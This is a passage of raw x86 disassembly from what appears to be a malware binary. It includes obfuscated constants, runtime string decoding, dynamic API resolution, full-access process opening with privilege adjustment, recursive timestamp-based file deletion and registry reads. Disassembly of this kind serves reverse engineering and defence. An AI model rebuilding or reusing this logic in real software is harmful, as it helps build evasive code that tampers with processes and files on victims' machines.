		movsx	eax, word_5511AC
		movsx	edx, word_5511C8
		add	eax, edx
		sub	eax, 0Dh
		cmp	eax, edi
		jz	short loc_43F728
		push	edi
		call	sub_444B66
		pop	ecx
		cmp	dword_55127C, 0
		jnz	short loc_43F728
		mov	eax, dword_551148
		sub	eax, 3
		add	[ebp+var_138], eax
		jmp	short loc_43F6C9
; ---------------------------------------------------------------------------
		jmp	short loc_43F728
; ---------------------------------------------------------------------------


loc_43F712:				; CODE XREF: sub_43F4C7+182j
					; sub_43F4C7+195j ...
		add	[ebp+var_4], 14h


loc_43F716:				; CODE XREF: sub_43F4C7+D4j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+84h]
		cmp	[ebp+var_4], eax
		jb	loc_43F5A0


loc_43F728:				; CODE XREF: sub_43F4C7+F9j
					; sub_43F4C7+227j ...
		movsx	eax, word_551140
		sub	eax, 5
		cmp	dword_55127C, eax
		jz	short loc_43F79A
		call	sub_44234E
		call	sub_446E57
		call	sub_43FB57
		mov	edx, eax
		mov	[ebp+var_19], dl
		movsx	eax, word_551168
		sub	eax, 2
		movzx	edx, [ebp+var_19]
		cmp	eax, edx
		jz	short loc_43F79A
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, dword_5510B4
		add	eax, dword_551160
		sub	eax, 9
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	offset sub_43E491
		mov	eax, dword_5511F0
		sub	eax, 9
		push	eax
		mov	eax, dword_551250
		add	eax, dword_5511B8
		sub	eax, 9
		push	eax
		call	ds:dword_550020


loc_43F79A:				; CODE XREF: sub_43F4C7+271j
					; sub_43F4C7+297j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F4C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F79F	proc near		; CODE XREF: sub_441D71+59p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	ds:dword_48C318
		mov	ebx, eax
		mov	eax, dword_5510C4
		movsx	edx, word_5510D8
		add	eax, edx
		sub	eax, 12h
		cmp	ebx, eax
		jz	loc_43F935
		push	offset byte_552133
		call	sub_43AC94
		push	eax
		push	ebx
		call	ds:dword_44B1AC
		mov	ds:dword_449004, eax
		push	offset word_55212E
		call	sub_43AC94
		add	esp, 8
		push	eax
		push	ebx
		call	ds:dword_44B1AC
		mov	ds:dword_448008, eax
		movsx	eax, word_551254
		sub	eax, 8
		cmp	eax, ds:dword_449004
		jz	loc_43F935
		movsx	eax, word_551110
		movsx	edx, word_551168
		add	eax, edx
		sub	eax, 5
		cmp	eax, ds:dword_448008
		jz	loc_43F935
		push	ds:dword_4CDA40
		push	ds:dword_449FCC
		push	ds:dword_54EA5C
		push	ds:dword_44B1AC
		push	dword_55127C
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_449004
		mov	edi, eax
		movsx	eax, word_551260
		cmp	eax, edi
		jnb	short loc_43F876
		push	ebx
		call	ds:dword_54FC1C
		jmp	loc_43F935
; ---------------------------------------------------------------------------


loc_43F876:				; CODE XREF: sub_43F79F+C9j
		movsx	eax, word_55115C
		mov	esi, eax
		add	esi, 0FFFFFFFCh
		mov	edi, dword_55117C
		sub	edi, 5
		jmp	short loc_43F8BA
; ---------------------------------------------------------------------------


loc_43F88D:				; CODE XREF: sub_43F79F+121j
		mov	edx, ds:dword_48C320[edi*4]
		cmp	[ebp+var_8], edx
		jnz	short loc_43F8B9
		mov	esi, edi
		mov	edx, [ebp+var_4]
		cmp	ds:dword_4CEA20[edi*4],	edx
		jb	short loc_43F8B9
		push	ebx
		call	ds:dword_54FC1C
		push	[ebp+arg_0]
		call	ds:dword_44800C
		jmp	short loc_43F935
; ---------------------------------------------------------------------------


loc_43F8B9:				; CODE XREF: sub_43F79F+F8j
					; sub_43F79F+106j
		inc	edi


loc_43F8BA:				; CODE XREF: sub_43F79F+ECj
		cmp	edi, dword_5512BC
		jb	short loc_43F88D
		mov	eax, dword_5510A4
		add	eax, 0FFFFFFEFh
		add	eax, dword_551128
		cmp	esi, eax
		jz	short loc_43F901
		push	ds:dword_50EA50[esi*4]
		call	ds:dword_54FC1C
		mov	edi, ds:dword_448008
		mov	ds:dword_44B9E0[esi*4],	edi
		mov	edi, [ebp+var_4]
		mov	ds:dword_4CEA20[esi*4],	edi
		mov	ds:dword_50EA50[esi*4],	ebx
		jmp	short loc_43F935
; ---------------------------------------------------------------------------


loc_43F901:				; CODE XREF: sub_43F79F+133j
		mov	edi, dword_5512BC
		mov	edx, [ebp+var_4]
		mov	ds:dword_4CEA20[edi*4],	edx
		mov	edx, [ebp+var_8]
		mov	ds:dword_48C320[edi*4],	edx
		mov	ds:dword_50EA50[edi*4],	ebx
		mov	ebx, ds:dword_448008
		mov	ds:dword_44B9E0[edi*4],	ebx
		inc	dword_5512BC


loc_43F935:				; CODE XREF: sub_43F79F+26j
					; sub_43F79F+6Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F79F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F93A	proc near		; CODE XREF: sub_44234E+Bp
					; sub_44234E+20p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	[ebp+arg_0]
		push	dword_55127C
		call	ds:dword_44B1AC
		mov	edi, eax
		pop	edi
		pop	ebp
		retn
sub_43F93A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F952	proc near		; CODE XREF: sub_4467C4+1BFp
					; DATA XREF: sub_441AE5+126o

var_104		= byte ptr -104h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	esi
		push	edi
		movsx	eax, word_551094
		sub	eax, 3
		push	eax
		push	dword_5511A0
		push	3
		push	dword_551164
		mov	eax, dword_551158
		add	eax, dword_551190
		sub	eax, 7
		push	eax
		push	80000000h
		push	offset dword_4CC330
		call	ds:dword_54FC18
		mov	edi, eax
		mov	eax, dword_5511F8
		add	eax, 0FFFFFFF4h
		add	eax, dword_551150
		cmp	eax, edi
		jnz	short loc_43F9B0
		mov	eax, 2Ah
		jmp	short loc_43FA0F
; ---------------------------------------------------------------------------


loc_43F9B0:				; CODE XREF: sub_43F952+55j
		mov	eax, dword_551174
		dec	eax
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_448034
		mov	esi, eax
		push	edi
		call	ds:dword_4CDA48
		mov	eax, dword_55117C
		sub	eax, 5
		cmp	esi, eax
		jnz	short loc_43F9ED
		mov	eax, 2Ah
		jmp	short loc_43FA0F
; ---------------------------------------------------------------------------


loc_43F9ED:				; CODE XREF: sub_43F952+92j
		movzx	eax, [ebp+var_FF]
		mov	edx, dword_551098
		add	edx, 1Fh
		cmp	eax, edx
		jge	short loc_43FA08
		mov	eax, 2Ah
		jmp	short loc_43FA0F
; ---------------------------------------------------------------------------


loc_43FA08:				; CODE XREF: sub_43F952+ADj
		movzx	eax, [ebp+var_FF]


loc_43FA0F:				; CODE XREF: sub_43F952+5Cj
					; sub_43F952+99j ...
		pop	edi
		pop	esi
		leave
		retn
sub_43F952	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FA13	proc near		; DATA XREF: .data:0055131Co

var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_10]
		mov	word ptr [ebp+arg_10], ax
		mov	eax, dword_5510E0
		add	eax, 0C2h
		movsx	edx, word_5511BC
		add	eax, edx
		cmp	[ebp+arg_4], eax
		jnz	loc_43FB4B
		mov	[ebp+var_18], 3
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, dword_551300
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	[ebp+var_4], eax
		mov	eax, dword_5510C4
		add	eax, dword_55119C
		sub	eax, 10h
		cmp	[ebp+var_4], eax
		jnz	loc_43FB47
		dec	[ebp+var_10]
		lea	eax, [ebp+var_1C]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, dword_551300
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	[ebp+var_4], eax
		mov	eax, dword_55125C
		sub	eax, 5
		cmp	eax, [ebp+var_4]
		jnz	loc_43FB47
		lea	eax, [ebp+var_20]
		push	eax
		push	offset dword_552AA4
		mov	eax, [ebp+var_1C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp+var_4], eax
		movsx	eax, word_5510AC
		add	eax, dword_5511B0
		sub	eax, 0Eh
		cmp	[ebp+var_4], eax
		jnz	short loc_43FB3E
		lea	eax, off_5512FC
		mov	[ebp+var_8], eax
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		lea	eax, [ebp+var_24]
		push	eax
		push	offset dword_5529F4
		mov	eax, [ebp+var_8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp+var_4], eax
		movsx	eax, word_5511AC
		sub	eax, 6
		cmp	[ebp+var_4], eax
		jnz	short loc_43FB2C
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset dword_5529F4
		push	[ebp+var_24]
		push	[ebp+var_20]
		call	sub_43C468
		add	esp, 10h
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_43FB2C:				; CODE XREF: sub_43FA13+F4j
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, [ebp+var_20]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_43FB3E:				; CODE XREF: sub_43FA13+BDj
		mov	eax, [ebp+var_1C]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_43FB47:				; CODE XREF: sub_43FA13+55j
					; sub_43FA13+8Bj
		xor	eax, eax
		jmp	short loc_43FB50
; ---------------------------------------------------------------------------


loc_43FB4B:				; CODE XREF: sub_43FA13+26j
		mov	eax, 80020003h


loc_43FB50:				; CODE XREF: sub_43FA13+136j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
sub_43FA13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FB57	proc near		; CODE XREF: sub_43E491:loc_43E4E0p
					; sub_43F4C7+27Dp

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	esi
		push	edi
		mov	eax, dword_5511DC
		mov	edi, eax
		add	edi, dword_55113C
		sub	edi, 9
		jmp	short loc_43FBE5
; ---------------------------------------------------------------------------


loc_43FB74:				; CODE XREF: sub_43FB57+A1j
		push	offset word_552122
		call	sub_43AC94
		mov	[ebp+var_108], eax
		push	offset dword_552118
		call	sub_43AC94
		push	edi
		push	eax
		mov	esi, [ebp+var_108]
		push	esi
		lea	esi, [ebp+var_FF]
		push	esi
		call	ds:dword_50EA28
		add	esp, 18h
		lea	eax, [ebp+var_FF]
		push	eax
		push	0
		push	100000h
		call	ds:dword_4CDA38
		mov	[ebp+var_104], eax
		or	eax, eax
		jz	short loc_43FBE4
		push	eax
		call	ds:dword_4CDA48
		mov	eax, dword_551258
		add	eax, 8
		cmp	eax, edi
		jnz	short loc_43FBDD
		xor	eax, eax
		inc	eax
		jmp	short loc_43FC00
; ---------------------------------------------------------------------------


loc_43FBDD:				; CODE XREF: sub_43FB57+7Fj
		mov	eax, 2
		jmp	short loc_43FC00
; ---------------------------------------------------------------------------


loc_43FBE4:				; CODE XREF: sub_43FB57+6Cj
		inc	edi


loc_43FBE5:				; CODE XREF: sub_43FB57+1Bj
		movsx	eax, word_5511C8
		mov	edx, dword_5510B4
		lea	eax, [eax+edx+59h]
		cmp	edi, eax
		jb	loc_43FB74
		xor	eax, eax


loc_43FC00:				; CODE XREF: sub_43FB57+84j
					; sub_43FB57+8Bj
		pop	edi
		pop	esi
		leave
		retn
sub_43FB57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FC04	proc near		; CODE XREF: sub_443F03+2p
					; sub_443F03+9p

var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		mov	eax, dword_5510F4
		sub	eax, 2
		push	eax
		movsx	eax, word_5511C8
		movsx	edx, word_551194
		add	eax, edx
		sub	eax, 0Eh
		push	eax
		push	[ebp+arg_0]
		push	dword_5511A0
		call	ds:dword_48BA00
		mov	edi, eax
		mov	eax, dword_551184
		add	eax, dword_551154
		sub	eax, 0Fh
		cmp	eax, edi
		jnz	short loc_43FC80
		push	offset byte_552113
		call	sub_43AC94
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	ds:dword_44802C
		push	1
		push	43h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_44757D
		add	esp, 18h


loc_43FC80:				; CODE XREF: sub_43FC04+4Fj
		pop	edi
		leave
		retn
sub_43FC04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FC83	proc near		; CODE XREF: sub_43B045+202p
					; sub_43B045+263p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_C]
		mov	eax, [ebp+arg_10]
		add	eax, edi
		add	eax, [ebp+arg_18]
		mov	[ebp+var_4], eax
		mov	edx, ebx
		and	edx, esi
		mov	ecx, [ebp+arg_8]
		mov	eax, esi
		not	eax
		and	ecx, eax
		mov	eax, edx
		or	eax, ecx
		mov	edx, [ebp+var_4]
		mov	edi, edx
		add	edi, eax
		push	[ebp+arg_14]
		push	edi
		call	sub_4420F4
		add	esp, 8
		mov	edi, eax
		add	edi, ebx
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43FC83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FCCD	proc near		; CODE XREF: sub_43E491+35Ep

var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		push	ebx
		push	esi
		push	edi
		call	sub_43BC51
		mov	ebx, dword_551174
		add	ebx, dword_5511C0
		dec	ebx
		cmp	eax, ebx
		jnz	short loc_43FD03
		movsx	eax, word_551194
		mov	edi, eax
		add	edi, dword_5511E0
		sub	edi, 0Fh
		jmp	loc_43FF23
; ---------------------------------------------------------------------------


loc_43FD03:				; CODE XREF: sub_43FCCD+1Dj
		call	ds:dword_48B9F4
		mov	[ebp+var_40], eax
		push	eax
		movsx	eax, word_5510E4
		add	eax, dword_551118
		sub	eax, 9
		push	eax
		push	1F0FFFh
		call	ds:dword_55002C
		mov	esi, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		push	esi
		call	ds:dword_44B080
		mov	edi, eax
		movsx	eax, word_5510D8
		add	eax, dword_55119C
		sub	eax, 10h
		cmp	edi, eax
		jz	loc_43FF23
		mov	ebx, dword_5511DC
		mov	edx, dword_551184
		sub	edx, 8
		mov	[ebp+ebx*4+var_60], edx
		lea	eax, [ebp+var_44]
		push	eax
		push	28h
		lea	eax, [ebp+var_3C]
		push	eax
		mov	eax, dword_55117C
		add	eax, 7
		add	eax, dword_55116C
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4CEA10
		mov	edi, eax
		mov	eax, dword_551114
		add	eax, dword_5510D4
		sub	eax, 9
		cmp	[ebp+arg_0], eax
		jz	short loc_43FDF7
		mov	eax, dword_5510F8
		sub	eax, 4
		cmp	edi, eax
		jnz	short loc_43FDBD
		mov	eax, dword_5510E8
		mov	edi, eax
		add	edi, dword_5510D4
		sub	edi, 0Dh
		jmp	loc_43FF23
; ---------------------------------------------------------------------------


loc_43FDBD:				; CODE XREF: sub_43FCCD+D9j
		mov	edi, dword_55114C
		sub	edi, 5
		mov	ebx, dword_5510F4
		movsx	edx, word_5511CC
		add	ebx, edx
		movsx	edx, word_55115C
		sub	edx, 3
		cmp	[ebp+ebx*4+var_5C], edx
		jz	loc_43FF23
		mov	edi, dword_551248
		sub	edi, 4
		jmp	loc_43FF23
; ---------------------------------------------------------------------------


loc_43FDF7:				; CODE XREF: sub_43FCCD+CDj
		mov	eax, dword_55119C
		add	eax, dword_551270
		sub	eax, 0Ch
		cmp	dword_5512B4, eax
		jnz	short loc_43FE25
		mov	eax, dword_5511F8
		add	eax, 3FF9h
		push	eax
		push	40h
		call	ds:dword_48B9EC
		mov	dword_5512B4, eax


loc_43FE25:				; CODE XREF: sub_43FCCD+13Ej
		lea	eax, [ebp+var_44]
		push	eax
		mov	eax, dword_5511F4
		add	eax, 3FFBh
		push	eax
		push	dword_5512B4
		push	1
		push	[ebp+var_4]
		call	ds:dword_4CEA10
		movsx	eax, word_5510F0
		sub	eax, 3
		cmp	dword_5512B0, eax
		jnz	short loc_43FE66
		push	14h
		push	0
		call	ds:dword_48B9EC
		mov	dword_5512B0, eax


loc_43FE66:				; CODE XREF: sub_43FCCD+188j
		push	1
		push	dword_5512B0
		call	ds:dword_449008
		mov	edi, eax
		push	0
		mov	eax, dword_551258
		dec	eax
		push	eax
		push	1
		push	dword_5512B0
		call	ds:dword_48C1E4
		mov	edi, eax
		push	0
		mov	eax, dword_5512B4
		push	dword ptr [eax]
		push	dword_5512B0
		call	ds:dword_48B9E8
		mov	edi, eax
		push	offset byte_5520F7
		call	sub_43AC94
		pop	ecx
		lea	ebx, [ebp+var_10]
		push	ebx
		push	eax
		movsx	ebx, word_55112C
		sub	ebx, 5
		push	ebx
		call	ds:dword_448020
		mov	edi, eax
		mov	eax, dword_5510F4
		add	eax, dword_5510B8
		sub	eax, 9
		mov	[ebp+var_14], eax
		mov	eax, dword_551250
		sub	eax, 2
		cmp	edi, eax
		jz	short loc_43FF23
		mov	[ebp+var_8], 2
		movsx	eax, word_55112C
		sub	eax, 5
		push	eax
		movsx	eax, word_5510F0
		movsx	edx, word_551260
		add	eax, edx
		sub	eax, 0Ch
		push	eax
		push	dword_5511C0
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		push	[ebp+var_4]
		call	ds:dword_4CD91C
		mov	edi, eax


loc_43FF23:				; CODE XREF: sub_43FCCD+31j
					; sub_43FCCD+7Fj ...
		push	esi
		call	ds:dword_4CDA48
		push	[ebp+var_4]
		call	ds:dword_4CDA48
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43FCCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FF3A	proc near		; CODE XREF: sub_43FF3A+1B5p
					; sub_43FF3A+23Ap ...

var_26C		= dword	ptr -26Ch
var_268		= byte ptr -268h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= word ptr -258h
var_256		= word ptr -256h
var_252		= word ptr -252h
var_250		= word ptr -250h
var_24E		= word ptr -24Eh
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_11A		= byte ptr -11Ah
var_119		= byte ptr -119h
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_8		= byte ptr  10h
arg_18		= byte ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		inc	ebx
		push	offset byte_5520EF
		call	sub_43AC94
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_50EA28
		add	esp, 10h
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_4CC328
		mov	[ebp+var_248], eax
		movsx	eax, word_551140
		mov	edx, dword_5510E0
		lea	eax, [eax+edx-7]
		cmp	[ebp+var_248], eax
		jnz	loc_44009D
		lea	eax, [ebp+arg_18]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		call	ds:dword_54FC10
		mov	[ebp+var_260], eax
		mov	eax, dword_55116C
		sub	eax, 9
		cmp	[ebp+var_260], eax
		jle	short loc_43FFCF
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_18]
		movsd
		movsd
		jmp	short loc_43FFDA
; ---------------------------------------------------------------------------


loc_43FFCF:				; CODE XREF: sub_43FF3A+86j
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_8]
		movsd
		movsd


loc_43FFDA:				; CODE XREF: sub_43FF3A+93j
		lea	eax, [ebp+var_258]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		call	ds:dword_54EB78
		movzx	eax, [ebp+var_252]
		mov	edx, dword_551134
		add	edx, 591h
		movsx	ecx, word_5510A0
		add	edx, ecx
		imul	eax, edx
		movzx	edx, [ebp+var_256]
		mov	ecx, dword_5511F0
		add	ecx, 0A8B2h
		add	ecx, dword_55117C
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_24E]
		add	eax, edx
		movzx	edx, [ebp+var_258]
		mov	ecx, dword_5510DC
		add	ecx, 7E8F9h
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_250]
		mov	ecx, dword_551218
		add	ecx, 3Bh
		imul	edx, ecx
		add	eax, edx
		mov	[ebp+var_25C], eax
		mov	edx, ds:dword_448030
		cmp	eax, edx
		ja	loc_440187
		sub	edx, eax
		mov	eax, dword_5510E8
		add	eax, 10D9h
		cmp	edx, eax
		jbe	loc_440187
		push	[ebp+arg_0]
		call	ds:dword_44800C
		mov	[ebp+var_26C], eax
		jmp	loc_440187
; ---------------------------------------------------------------------------


loc_44009D:				; CODE XREF: sub_43FF3A+5Ej
		mov	eax, dword_55119C
		cmp	[ebp+eax+var_119], 2Eh
		jz	loc_44017F
		push	offset word_5520E6
		call	sub_43AC94
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_50EA28
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_43FF3A
		add	esp, 158h
		jmp	loc_44017F
; ---------------------------------------------------------------------------


loc_4400FF:				; CODE XREF: sub_43FF3A+247j
		lea	eax, [ebp+var_13E]
		push	eax
		push	[ebp+var_248]
		call	ds:dword_449FC8
		mov	ebx, eax
		mov	eax, dword_551248
		sub	eax, 4
		cmp	eax, ebx
		jz	short loc_440187
		mov	eax, dword_55124C
		add	eax, dword_551200
		cmp	[ebp+eax+var_11A], 2Eh
		jz	short loc_44017F
		push	offset byte_5520DD
		call	sub_43AC94
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_50EA28
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_43FF3A
		add	esp, 158h


loc_44017F:				; CODE XREF: sub_43FF3A+170j
					; sub_43FF3A+1C0j ...
		or	ebx, ebx
		jnz	loc_4400FF


loc_440187:				; CODE XREF: sub_43FF3A+135j
					; sub_43FF3A+149j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43FF3A	endp


; =============== S U B	R O U T	I N E =======================================



sub_44018C	proc near		; CODE XREF: sub_43E491+39p
		push	edi
		push	offset dword_5520D0
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_55128C, eax
		mov	eax, dword_551138
		movsx	edx, word_551260
		add	eax, edx
		sub	eax, 0Ch
		cmp	dword_55128C, eax
		jnz	short loc_4401D4
		push	offset byte_5520C3
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_48C318
		mov	dword_55128C, eax


loc_4401D4:				; CODE XREF: sub_44018C+2Fj
		push	offset byte_5520AF
		call	sub_43AC94
		push	eax
		push	dword_55128C
		call	ds:dword_44B1AC
		mov	ds:dword_44B5D4, eax
		push	offset byte_55209D
		call	sub_43AC94
		push	eax
		push	dword_55128C
		call	ds:dword_44B1AC
		mov	ds:dword_44B08C, eax
		push	offset word_55208A
		call	sub_43AC94
		push	eax
		push	dword_55128C
		call	ds:dword_44B1AC
		mov	ds:dword_550158, eax
		push	offset word_55207A
		call	sub_43AC94
		push	eax
		push	dword_55128C
		call	ds:dword_44B1AC
		mov	ds:dword_44B084, eax
		push	offset byte_552069
		call	sub_43AC94
		push	eax
		push	dword_55128C
		call	ds:dword_44B1AC
		mov	ds:dword_48C1EC, eax
		push	offset asc_55205A ; "\v"
		call	sub_43AC94
		add	esp, 18h
		push	eax
		push	dword_55128C
		call	ds:dword_44B1AC
		mov	ds:dword_50EA3C, eax
		pop	edi
		retn
sub_44018C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440281	proc near		; CODE XREF: sub_43EA2A+1C9p
					; sub_43EA2A+238p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		movsx	eax, word_5510B0
		dec	eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_44B59C
		mov	edi, eax
		movsx	eax, word_55115C
		sub	eax, 3
		cmp	eax, edi
		jz	short loc_4402B8
		xor	eax, eax
		jmp	short loc_440303
; ---------------------------------------------------------------------------


loc_4402B8:				; CODE XREF: sub_440281+31j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		mov	eax, dword_5511B0
		add	eax, dword_5511E8
		sub	eax, 0Eh
		push	eax
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	ds:dword_44804C
		mov	edi, eax
		push	[ebp+var_4]
		call	ds:dword_4CEA08
		mov	eax, dword_5510C0
		movsx	edx, word_551234
		add	eax, edx
		sub	eax, 5
		cmp	edi, eax
		jz	short loc_440300
		xor	eax, eax
		jmp	short loc_440303
; ---------------------------------------------------------------------------


loc_440300:				; CODE XREF: sub_440281+79j
		xor	eax, eax
		inc	eax


loc_440303:				; CODE XREF: sub_440281+35j
					; sub_440281+7Dj
		pop	edi
		leave
		retn
sub_440281	endp


; =============== S U B	R O U T	I N E =======================================



sub_440306	proc near		; DATA XREF: .data:005512F4o
		mov	eax, 80004001h
		retn	18h
sub_440306	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44030E	proc near		; CODE XREF: sub_4472A0:loc_4472A3p

var_252		= byte ptr -252h
var_236		= dword	ptr -236h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_114]
		push	eax
		mov	eax, dword_5511D0
		sub	eax, 3
		push	eax
		movsx	eax, word_551110
		dec	eax
		push	eax
		push	21h
		movsx	eax, word_5511A8
		add	eax, dword_551264
		sub	eax, 3
		push	eax
		call	ds:dword_48BA00
		mov	ebx, eax
		mov	eax, dword_5510FC
		sub	eax, 2
		cmp	eax, ebx
		jnz	loc_440412
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4CC530
		movzx	eax, [ebp+var_6]
		movzx	edx, [ebp+var_E]
		mov	ecx, dword_5510DC
		add	ecx, 0A8B9h
		movsx	ebx, word_55111C
		add	ecx, ebx
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_A]
		mov	ecx, dword_5510E0
		add	ecx, 59Fh
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_10]
		mov	ecx, dword_551250
		add	ecx, 7E8FBh
		add	ecx, dword_551198
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_8]
		mov	ecx, dword_551244
		add	ecx, 35h
		imul	edx, ecx
		add	eax, edx
		mov	ds:dword_448030, eax
		movsx	eax, word_55115C
		movsx	edx, word_551240
		add	eax, edx
		sub	eax, 3
		mov	[ebp+var_236], eax
		lea	esi, [ebp+var_252]
		sub	esp, 140h
		mov	edi, esp
